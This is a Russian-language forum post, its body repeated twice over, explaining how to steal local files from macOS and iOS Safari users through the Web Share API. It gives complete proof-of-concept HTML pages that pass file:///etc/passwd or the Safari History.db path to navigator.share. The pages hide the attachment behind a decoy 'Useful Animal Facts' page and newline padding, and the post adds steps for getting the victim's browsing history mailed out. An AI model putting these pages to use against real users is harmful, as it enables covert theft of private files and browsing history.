BlackPope
Местный
- Регистрация
- 27.04.2020
- Сообщения
- 242
- Реакции
- 35
В этой статье описан метод кражи содержимого локальных файлов пользователей MacOS и iOS, предлагаю заглянуть в историю браузера и прочесть файл /etc/passwd.
Web Share API [https://w3c.github.io/web-share/] позволяет пользователям обмениваться ссылками из браузера через сторонние приложения (например, почту и приложения для обмена сообщениями). Проблема в том, что схема file: разрешена, и когда веб-сайт указывает на URL-адрес, которым целевое устройство намерено поделиться, происходит неожиданное поведение.
В случае, если такая ссылка передается в функцию navigator.share, фактический файл из файловой системы пользователя включается в совместно используемое сообщение, что приводит к раскрытию локального файла, когда пользователь неосознанно делится им.
Проблема не очень серьезная, поскольку требуется взаимодействие с пользователем, однако сделать общий файл невидимым для пользователя довольно легко. Самое близкое сравнение, которое приходит на ум, - это clickjacking, когда мы пытаемся убедить ничего не подозревающего пользователя выполнить какое-либо действие.
Для начала потребуется контент, которым пользователь поделится в письме или в мессенджере, для тестов возьмем картинку.
Размещаем её на своем веб сервере, предварительно создав в папке с картинкой файл в формате HTML со следующим содержимым:
<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/u...n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///etc/passwd'};
function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>
Нажимаем "Поделиться" и выберем, к примеру, сообщение на почту:
Отправив сообщение на выбранный почтовый ящик, откроем письмо от целевого устройства:
Сохраняем файл passwd, и открываем его в редакторе:
Результат, на мой взгляд вполне удовлетворительный.
Немного изменим исходный код poc1.html:
<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/u...n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///private/var/mobile/Library/Safari/History.db'};
function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>
Добавив:
file:///private/var/mobile/Library/Safari/History.db
Проделываем те же шаги, что и в предыдущем примере и на почту получаем файл с расширением .db.
Сохраняем себе локально и открываем с помощью DB Browser SQLite:
В результате, мы получаем всю историю посещений пользователя.
C MacOS такой трюк тоже работает без проблем.
Web Share API [https://w3c.github.io/web-share/] позволяет пользователям обмениваться ссылками из браузера через сторонние приложения (например, почту и приложения для обмена сообщениями). Проблема в том, что схема file: разрешена, и когда веб-сайт указывает на URL-адрес, которым целевое устройство намерено поделиться, происходит неожиданное поведение.
В случае, если такая ссылка передается в функцию navigator.share, фактический файл из файловой системы пользователя включается в совместно используемое сообщение, что приводит к раскрытию локального файла, когда пользователь неосознанно делится им.
Проблема не очень серьезная, поскольку требуется взаимодействие с пользователем, однако сделать общий файл невидимым для пользователя довольно легко. Самое близкое сравнение, которое приходит на ум, - это clickjacking, когда мы пытаемся убедить ничего не подозревающего пользователя выполнить какое-либо действие.
Подготовка:
Для начала потребуется контент, которым пользователь поделится в письме или в мессенджере, для тестов возьмем картинку.
Размещаем её на своем веб сервере, предварительно создав в папке с картинкой файл в формате HTML со следующим содержимым:

<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/u...n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///etc/passwd'};
function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>
Ниже приведены шаги по воспроизведению проблемы:
- Заходим на наш сайт https://mydomain/webshare/poc1.html, используя Safari или Mobile Safari
- Нажмите «Share it with friends!»
- Выберите способ (например, почта, сообщения)
- «Send it» или «Share it» (или просто проверьте то, что было прикреплено)
- Получателю был отправлен локальный /etc/passwd

Нажимаем "Поделиться" и выберем, к примеру, сообщение на почту:

Отправив сообщение на выбранный почтовый ящик, откроем письмо от целевого устройства:

Сохраняем файл passwd, и открываем его в редакторе:

Результат, на мой взгляд вполне удовлетворительный.
Попробуем подсмотреть историю посещений браузера:
Немного изменим исходный код poc1.html:
<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/u...n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///private/var/mobile/Library/Safari/History.db'};
function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>
Добавив:
file:///private/var/mobile/Library/Safari/History.db
Проделываем те же шаги, что и в предыдущем примере и на почту получаем файл с расширением .db.

Сохраняем себе локально и открываем с помощью DB Browser SQLite:

В результате, мы получаем всю историю посещений пользователя.
C MacOS такой трюк тоже работает без проблем.